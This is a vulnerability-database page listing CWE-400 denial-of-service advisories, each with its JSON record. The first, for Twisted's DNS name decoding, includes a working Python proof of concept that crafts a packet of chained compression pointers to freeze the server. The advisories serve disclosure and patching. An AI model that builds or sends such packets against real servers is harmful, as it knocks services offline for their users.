Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5423 vulnerabilities reference this CWE, most recent first.

GHSA-GRGV-6HW6-V9G4

Vulnerability from github – Published: 2026-05-05 21:12 – Updated: 2026-06-08 20:05
VLAI
Summary
Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains
Details

Details

The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.

Technical Details

The main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.

Because DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.

##  src/twisted/names/dns.py (Lines 595-631)

def decode(self, strio, length=None):
        visited = set()
        self.name = b""
        off = 0
        while 1:
            l = ord(readPrecisely(strio, 1))
            if l == 0:
                if off > 0:
                    strio.seek(off)
                return
            if (l >> 6) == 3:
                new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))
                if new_off in visited:
                    raise ValueError("Compression loop in encoded name")
                visited.add(new_off)
                if off == 0:
                    off = strio.tell()
                strio.seek(new_off)
                continue
            label = readPrecisely(strio, l)
            if self.name == b"":
                self.name = label
            else:
                self.name = self.name + b"." + label

PoC

import struct, time
from twisted.names import dns, server
from twisted.test import proto_helpers

def create_tcp_payload():
    num_pointers = 8000
    packet_length = 65533
    num_questions = (packet_length - (num_pointers * 2) - 12) // 6

    buffer = bytearray(packet_length)

    struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0)

    ptr_offset = 12
    for _ in range(num_pointers - 1):
        struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))
        ptr_offset += 2

    null_byte_offset = ptr_offset + 2
    struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset)
    buffer[null_byte_offset] = 0

    question_offset = null_byte_offset + 1
    for _ in range(num_questions):
        if question_offset + 6 <= packet_length:
            struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1)
            question_offset += 6

    return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer

def test_dns_server():
    factory = server.DNSServerFactory(clients=[])
    protocol = factory.buildProtocol(("127.0.0.1", 10053))
    transport = proto_helpers.StringTransport()
    protocol.makeConnection(transport)

    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()
    print("payload")
    print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}")

    start = time.time()
    protocol.dataReceived(payload)
    end = time.time()

    print(f"time={end - start:.4f}s")

if __name__ == "__main__":
    test_dns_server()

Impact

A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.

Remediation

  • Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message
  • Share the "resolved offset" state across all records in a single message to prevent redundant processing.
  • Validate the number of questions before entering the decoding loop in Message.decode.

Resources

https://cwe.mitre.org/data/definitions/400.html

https://cwe.mitre.org/data/definitions/407.html

https://datatracker.ietf.org/doc/html/rfc9267

https://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595

https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09

Author: Tomas Illuminati

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 25.5.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Twisted"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.4.0rc2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42304"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:12:37Z",
    "nvd_published_at": "2026-05-13T21:16:46Z",
    "severity": "HIGH"
  },
  "details": "### Details\n\nThe twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.\n\n---\n\n### Technical Details\n\nThe main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.\n\nBecause DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.\n\n```python\n##  src/twisted/names/dns.py (Lines 595-631)\n\ndef decode(self, strio, length=None):\n        visited = set()\n        self.name = b\"\"\n        off = 0\n        while 1:\n            l = ord(readPrecisely(strio, 1))\n            if l == 0:\n                if off \u003e 0:\n                    strio.seek(off)\n                return\n            if (l \u003e\u003e 6) == 3:\n                new_off = (l \u0026 63) \u003c\u003c 8 | ord(readPrecisely(strio, 1))\n                if new_off in visited:\n                    raise ValueError(\"Compression loop in encoded name\")\n                visited.add(new_off)\n                if off == 0:\n                    off = strio.tell()\n                strio.seek(new_off)\n                continue\n            label = readPrecisely(strio, l)\n            if self.name == b\"\":\n                self.name = label\n            else:\n                self.name = self.name + b\".\" + label\n\n```\n\n---\n\n### PoC\n\n```python\nimport struct, time\nfrom twisted.names import dns, server\nfrom twisted.test import proto_helpers\n\ndef create_tcp_payload():\n    num_pointers = 8000\n    packet_length = 65533\n    num_questions = (packet_length - (num_pointers * 2) - 12) // 6\n\n    buffer = bytearray(packet_length)\n\n    struct.pack_into(\"!HHHHHH\", buffer, 0, 1, 0, num_questions, 0, 0, 0)\n\n    ptr_offset = 12\n    for _ in range(num_pointers - 1):\n        struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))\n        ptr_offset += 2\n\n    null_byte_offset = ptr_offset + 2\n    struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | null_byte_offset)\n    buffer[null_byte_offset] = 0\n\n    question_offset = null_byte_offset + 1\n    for _ in range(num_questions):\n        if question_offset + 6 \u003c= packet_length:\n            struct.pack_into(\"!HHH\", buffer, question_offset, 0xC000 | 12, 1, 1)\n            question_offset += 6\n\n    return packet_length, num_pointers, num_questions, struct.pack(\"!H\", packet_length) + buffer\n\ndef test_dns_server():\n    factory = server.DNSServerFactory(clients=[])\n    protocol = factory.buildProtocol((\"127.0.0.1\", 10053))\n    transport = proto_helpers.StringTransport()\n    protocol.makeConnection(transport)\n\n    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()\n    print(\"payload\")\n    print(f\"len={pkt_len} ptrs={num_ptrs} qs={num_qs}\")\n\n    start = time.time()\n    protocol.dataReceived(payload)\n    end = time.time()\n\n    print(f\"time={end - start:.4f}s\")\n\nif __name__ == \"__main__\":\n    test_dns_server()\n```\n\n---\n\n### Impact\n\nA single malformed TCP packet is sufficient to block the Twisted reactor\u0027s event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.\n\n---\n\n### Remediation\n\n- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message\n- Share the \"resolved offset\" state across all records in a single message to prevent redundant processing.\n- Validate the number of questions before entering the decoding loop in Message.decode.\n\n---\n\n### Resources\n\nhttps://cwe.mitre.org/data/definitions/400.html\n\nhttps://cwe.mitre.org/data/definitions/407.html\n\nhttps://datatracker.ietf.org/doc/html/rfc9267\n\nhttps://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595\n\nhttps://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09\n\n---\n\n**Author**: Tomas Illuminati",
  "id": "GHSA-grgv-6hw6-v9g4",
  "modified": "2026-06-08T20:05:10Z",
  "published": "2026-05-05T21:12:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42304"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2026-160.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/twisted/twisted"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains"
}

GHSA-GRJP-MM84-7748

Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2022-05-24 19:08
VLAI
Details

An Uncontrolled Resource Consumption vulnerability in the ARP daemon (arpd) and Network Discovery Protocol (ndp) process of Juniper Networks Junos OS Evolved allows a malicious attacker on the local network to consume memory resources, ultimately resulting in a Denial of Service (DoS) condition. Link-layer functions such as IPv4 and/or IPv6 address resolution may be impacted, leading to traffic loss. The processes do not recover on their own and must be manually restarted. Changes in memory usage can be monitored using the following shell commands (header shown for clarity): user@router:/var/log# ps aux | grep arpd USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 31418 59.0 0.7 5702564 247952 ? xxx /usr/sbin/arpd --app-name arpd -I object_select --shared-objects-mode 3 user@router:/var/log# ps aux | grep arpd USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 31418 49.1 1.0 5813156 351184 ? xxx /usr/sbin/arpd --app-name arpd -I object_select --shared-objects-mode 3 Memory usage can be monitored for the ndp process in a similar fashion: user@router:/var/log# ps aux | grep ndp USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 14935 0.0 0.1 5614052 27256 ? Ssl Jun15 0:17 /usr/sbin/ndp -I no_tab_chk,object_select --app-name ndp --shared-obje user@router:/var/log# ps aux | grep ndp USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 14935 0.0 0.1 5725164 27256 ? Ssl Jun15 0:17 /usr/sbin/ndp -I no_tab_chk,object_select --app-name ndp --shared-obje This issue affects Juniper Networks Junos OS Evolved: 19.4 versions prior to 19.4R2-S3-EVO; 20.1 versions prior to 20.1R2-S4-EVO; all versions of 20.2-EVO. This issue does not affect Juniper Networks Junos OS Evolved versions prior to 19.4R2-EVO.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-0292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-15T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An Uncontrolled Resource Consumption vulnerability in the ARP daemon (arpd) and Network Discovery Protocol (ndp) process of Juniper Networks Junos OS Evolved allows a malicious attacker on the local network to consume memory resources, ultimately resulting in a Denial of Service (DoS) condition. Link-layer functions such as IPv4 and/or IPv6 address resolution may be impacted, leading to traffic loss. The processes do not recover on their own and must be manually restarted. Changes in memory usage can be monitored using the following shell commands (header shown for clarity): user@router:/var/log# ps aux | grep arpd USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 31418 59.0 0.7 *5702564* 247952 ? xxx /usr/sbin/arpd --app-name arpd -I object_select --shared-objects-mode 3 user@router:/var/log# ps aux | grep arpd USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 31418 49.1 1.0 *5813156* 351184 ? xxx /usr/sbin/arpd --app-name arpd -I object_select --shared-objects-mode 3 Memory usage can be monitored for the ndp process in a similar fashion: user@router:/var/log# ps aux | grep ndp USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 14935 0.0 0.1 *5614052* 27256 ? Ssl Jun15 0:17 /usr/sbin/ndp -I no_tab_chk,object_select --app-name ndp --shared-obje user@router:/var/log# ps aux | grep ndp USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 14935 0.0 0.1 *5725164* 27256 ? Ssl Jun15 0:17 /usr/sbin/ndp -I no_tab_chk,object_select --app-name ndp --shared-obje This issue affects Juniper Networks Junos OS Evolved: 19.4 versions prior to 19.4R2-S3-EVO; 20.1 versions prior to 20.1R2-S4-EVO; all versions of 20.2-EVO. This issue does not affect Juniper Networks Junos OS Evolved versions prior to 19.4R2-EVO.",
  "id": "GHSA-grjp-mm84-7748",
  "modified": "2022-05-24T19:08:06Z",
  "published": "2022-05-24T19:08:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0292"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA11194"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GRPV-G4QC-62CG

Vulnerability from github – Published: 2022-09-14 00:00 – Updated: 2025-08-12 12:30
VLAI
Details

A vulnerability has been identified in RUGGEDCOM ROS RMC8388 (All versions < V5.6.0), RUGGEDCOM ROS RS416Pv2 (All versions < V5.6.0), RUGGEDCOM ROS RS416v2 (All versions < V5.6.0), RUGGEDCOM ROS RS900 (32M) (All versions < V5.6.0), RUGGEDCOM ROS RS900G (32M) (All versions < V5.6.0), RUGGEDCOM ROS RSG2100 (32M) (All versions < V5.6.0), RUGGEDCOM ROS RSG2288 (All versions < V5.6.0), RUGGEDCOM ROS RSG2300 (All versions < V5.6.0), RUGGEDCOM ROS RSG2300P (All versions < V5.6.0), RUGGEDCOM ROS RSG2488 (All versions < V5.6.0), RUGGEDCOM ROS RSG907R (All versions < V5.6.0), RUGGEDCOM ROS RSG908C (All versions < V5.6.0), RUGGEDCOM ROS RSG909R (All versions < V5.6.0), RUGGEDCOM ROS RSG910C (All versions < V5.6.0), RUGGEDCOM ROS RSG920P (All versions < V5.6.0), RUGGEDCOM ROS RSL910 (All versions < v5.6.0), RUGGEDCOM ROS RST2228 (All versions < v5.6.0), RUGGEDCOM ROS RST2228P (All versions < V5.6.0), RUGGEDCOM ROS RST916C (All versions < v5.6.0), RUGGEDCOM ROS RST916P (All versions < v5.6.0). Affected devices improperly handle partial HTTP requests which makes them vulnerable to slowloris attacks. This could allow a remote attacker to create a denial of service condition that persists until the attack ends.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-39158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-13T10:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in RUGGEDCOM ROS RMC8388 (All versions \u003c V5.6.0), RUGGEDCOM ROS RS416Pv2 (All versions \u003c V5.6.0), RUGGEDCOM ROS RS416v2 (All versions \u003c V5.6.0), RUGGEDCOM ROS RS900 (32M) (All versions \u003c V5.6.0), RUGGEDCOM ROS RS900G (32M) (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2100 (32M) (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2288 (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2300 (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2300P (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2488 (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG907R (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG908C (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG909R (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG910C (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG920P (All versions \u003c V5.6.0), RUGGEDCOM ROS RSL910 (All versions \u003c v5.6.0), RUGGEDCOM ROS RST2228 (All versions \u003c v5.6.0), RUGGEDCOM ROS RST2228P (All versions \u003c V5.6.0), RUGGEDCOM ROS RST916C (All versions \u003c v5.6.0), RUGGEDCOM ROS RST916P (All versions \u003c v5.6.0). Affected devices improperly handle partial HTTP requests which makes them vulnerable to slowloris attacks. This could allow a remote attacker to create a denial of service condition that persists until the attack ends.",
  "id": "GHSA-grpv-g4qc-62cg",
  "modified": "2025-08-12T12:30:32Z",
  "published": "2022-09-14T00:00:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39158"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-459643.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-787941.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-459643.pdf"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-787941.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GRV6-M753-3W2G

Vulnerability from github – Published: 2022-10-07 18:16 – Updated: 2022-10-10 16:52
VLAI
Summary
NocoDB vulnerable to Denial of Service
Details

NocoDB prior to 0.92.0 allows actors to insert large characters into the input field New Project on the create field, which can cause a Denial of Service (DoS) via a crafted HTTP request. Version 0.92.0 fixes this issue.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nocodb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.92.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-3423"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-07T21:55:42Z",
    "nvd_published_at": "2022-10-07T11:15:00Z",
    "severity": "MODERATE"
  },
  "details": "NocoDB prior to 0.92.0 allows actors to insert large characters into the input field `New Project` on the create field, which can cause a Denial of Service (DoS) via a crafted HTTP request. Version 0.92.0 fixes this issue.",
  "id": "GHSA-grv6-m753-3w2g",
  "modified": "2022-10-10T16:52:21Z",
  "published": "2022-10-07T18:16:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3423"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocodb/nocodb/commit/000ecd886738b965b5997cd905825e3244f48b95"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocodb/nocodb"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/94639d8e-8301-4432-ab80-e76e1346e631"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NocoDB vulnerable to Denial of Service"
}

GHSA-GRV7-FG5C-XMJG

Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2024-06-10 20:17
VLAI
Summary
Uncontrolled resource consumption in braces
Details

The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "braces"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-4068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1050",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-10T20:17:26Z",
    "nvd_published_at": "2024-05-14T15:42:48Z",
    "severity": "HIGH"
  },
  "details": "The NPM package `braces` fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In `lib/parse.js,` if a malicious user sends \"imbalanced braces\" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.\n",
  "id": "GHSA-grv7-fg5c-xmjg",
  "modified": "2024-06-10T20:17:26Z",
  "published": "2024-05-14T18:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4068"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/braces/issues/35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/braces/pull/37"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/braces/pull/40"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/braces/commit/415d660c3002d1ab7e63dbf490c9851da80596ff"
    },
    {
      "type": "WEB",
      "url": "https://devhub.checkmarx.com/cve-details/CVE-2024-4068"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/micromatch/braces"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/braces/blob/98414f9f1fabe021736e26836d8306d5de747e0d/lib/parse.js#L308"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uncontrolled resource consumption in braces"
}

GHSA-GRV8-GQH3-FMC9

Vulnerability from github – Published: 2022-05-13 01:16 – Updated: 2022-05-13 01:16
VLAI
Details

Linux kernel versions 4.9+ can be forced to make very expensive calls to tcp_collapse_ofo_queue() and tcp_prune_ofo_queue() for every incoming packet which can lead to a denial of service.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-5390"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-06T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "Linux kernel versions 4.9+ can be forced to make very expensive calls to tcp_collapse_ofo_queue() and tcp_prune_ofo_queue() for every incoming packet which can lead to a denial of service.",
  "id": "GHSA-grv8-gqh3-fmc9",
  "modified": "2022-05-13T01:16:14Z",
  "published": "2022-05-13T01:16:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5390"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20180815-0003"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K95343321"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K95343321?utm_source=f5support\u0026amp;utm_medium=RSS"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180824-linux-tcp"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3732-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3732-2"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3741-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3741-2"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3742-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3742-2"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3763-1"
    },
    {
      "type": "WEB",
      "url": "https://www.a10networks.com/support/security-advisories/tcp-ip-cve-2018-5390-segmentsmack"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4266"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/962459"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/support/security/Synology_SA_18_41"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2384"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2395"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2402"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2403"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2645"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2776"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2785"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2789"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2790"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2791"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2924"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2933"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2948"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-377115.pdf"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=1a4f14bab1868b443f0dd3c55b689a478f82e72e"
    },
    {
      "type": "WEB",
      "url": "https://help.ecostruxureit.com/display/public/UADCE725/Security+fixes+in+StruxureWare+Data+Center+Expert+v7.6.0"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/08/msg00014.html"
    },
    {
      "type": "WEB",
      "url": "http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2018-004.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20181031-02-linux-en"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/06/28/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/07/06/3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/07/06/4"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/104976"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1041424"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1041434"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GRXG-QF98-PFW3

Vulnerability from github – Published: 2025-04-15 21:31 – Updated: 2025-11-03 21:33
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Replication). Supported versions that are affected are 8.0.0-8.0.41, 8.4.0-8.4.4 and 9.0.0-9.2.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of MySQL Server. CVSS 3.1 Base Score 2.7 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L).

Severity
2.7 (Low)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-30681"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-15T21:15:57Z",
    "severity": "LOW"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Replication).  Supported versions that are affected are 8.0.0-8.0.41, 8.4.0-8.4.4 and  9.0.0-9.2.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of MySQL Server. CVSS 3.1 Base Score 2.7 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L).",
  "id": "GHSA-grxg-qf98-pfw3",
  "modified": "2025-11-03T21:33:32Z",
  "published": "2025-04-15T21:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
